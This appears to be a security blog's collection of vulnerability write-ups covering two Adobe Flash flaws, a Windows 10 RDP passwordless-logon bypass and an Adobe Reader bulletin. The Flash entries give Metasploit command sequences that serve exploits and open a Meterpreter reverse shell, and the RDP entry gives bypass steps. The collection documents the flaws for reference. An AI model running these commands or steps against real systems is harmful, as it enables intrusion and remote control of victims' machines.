wow

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CVE-2015-0318 Adobe Flash Player PCRE Regex Vulnerability

Timeline :

Vulnerability discovered and reported to the vendor by Mark Brand and Natalie Silvanovich of Google Project Zero the 2014-11-25
Patched by the vendor through APSB15-04 the 2015-02-05
Details of the vulnerability provided by Google Project Zero the 2015-02-12

PoC provided by :

Mark Brand
sinn3r

Reference(s) :

CVE-2015-0318
APSB15-04

Affected version(s) :

Adobe Flash Player 16.0.0.296 and earlier versions

Tested on :

Windows 7 SP1 with Internet Explorer 8 and Adobe Flash Player 16.0.0.235

Description :

This module exploits a vulnerability found in Adobe Flash Player. A compilation logic error in the PCRE engine, specifically in the handling of the \c escape sequence when followed by a multi-byte UTF8 character, allows arbitrary execution of PCRE bytecode.

Commands :

use exploit/windows/browser/adobe_flash_pcre
set SRVHOST 192.168.6.138
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.6.138
run

getuid

MS16-007 CVE-2016-0019 Windows RDP Security Bypass

Timeline :

Vulnerability discovered and reported to the vendor by Gal Goldshtein and Viktor Minin of Citadel
Patched by the vendor through MS16-007 the 2016-01-12
Details of the vulnerability provided by Michael Schierl @mihi42 the 2016-01-12

PoC provided by :

Michael Schierl

Reference(s) :

CVE-2016-0019
MS16-007

Affected version(s) :

Windows 10 for 32-bit Systems
Windows 10 for x64-based Systems
Windows 10 version 1511 for 32-bit Systems
Windows 10 version 1511 for x64-based Systems

Tested on :

Windows 10 for x64-based Systems with Microsoft Remote Desktop for Mac version 8.0.26

Description :

A security feature bypass vulnerability exists in Windows Remote Desktop Protocol (RDP) that is caused when Windows 10 hosts running RDP services fail to prevent remote logon to accounts that have no passwords set.

Demo :

- On the target Windows 10
Create a local user without password
Grant the created user RDP
- On the client
Add "enablecredsspsupport:i:0" in the ".RDP" file
Connect to the target with the username and without password

APSB16-02 – Adobe Acrobat and Reader Security Bulletin Review

Adobe has release, the January 12th 2016, during his January Patch Tuesday, one Adobe Acrobat and Reader security bulletin dealing with 17 vulnerabilities. This security bulletin has a Critical severity rating.

APSB16-02 is concerning:

  • Acrobat DC 15.009.20077 and earlier versions on Windows and Macintosh
  • Acrobat Reader DC 15.009.20077 and earlier versions on Windows and Macintosh
  • Acrobat DC 15.006.30097 and earlier versions on Windows and Macintosh
  • Acrobat Reader DC 15.006.30097 and earlier versions on Windows and Macintosh
  • Acrobat XI 11.0.13 and earlier versions on Windows and Macintosh
  • Reader XI 11.0.13 and earlier versions on Windows and Macintosh

CVE-2015-0311 Adobe Flash Player ByteArray UncompressViaZlibVariant Use After Free

Timeline :

Vulnerability discovered exploited in the wild the 2015-01-21
Patched by the vendor the 2015-01-22
Metasploit PoC provided the 2015-03-09

PoC provided by :

Unknown
hdarwin
juan vazquez

Reference(s) :

CVE-2015-0311
APSA15-01

Affected version(s) :

Adobe Flash Player 16.0.0.287 and earlier versions for Windows and Macintosh
Adobe Flash Player 13.0.0.262 and earlier 13.x versions
Adobe Flash Player 11.2.202.438 and earlier versions for Linux

Tested on :

Windows 7 SP1 and Internet Explorer 8 with Adobe Flash Player 16.0.0.287

Description :

This module exploits a use after free vulnerability in Adobe Flash Player. The vulnerability occurs in the ByteArray::UncompressViaZlibVariant method, when trying to uncompress() a malformed byte stream. This module has been tested successfully on:
* Windows 7 SP1 (32 bits), IE 8 to IE 11 and Flash 16.0.0.287, 16.0.0.257 and 16.0.0.235. * Windows 7 SP1 (32-bit), Firefox 38.0.5 and Adobe Flash 16.0.0.287.
* Windows 8.1, Firefox 38.0.5 and Adobe Flash 16.0.0.305.
* Linux Mint “Rebecca” (32 bits), Firefox 33.0 and Flash 11.2.202.424.

Commands :

use exploit/multi/browser/adobe_flash_uncompress_zlib_uaf
set SRVHOST 192.168.6.138
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.6.138
run

getuid

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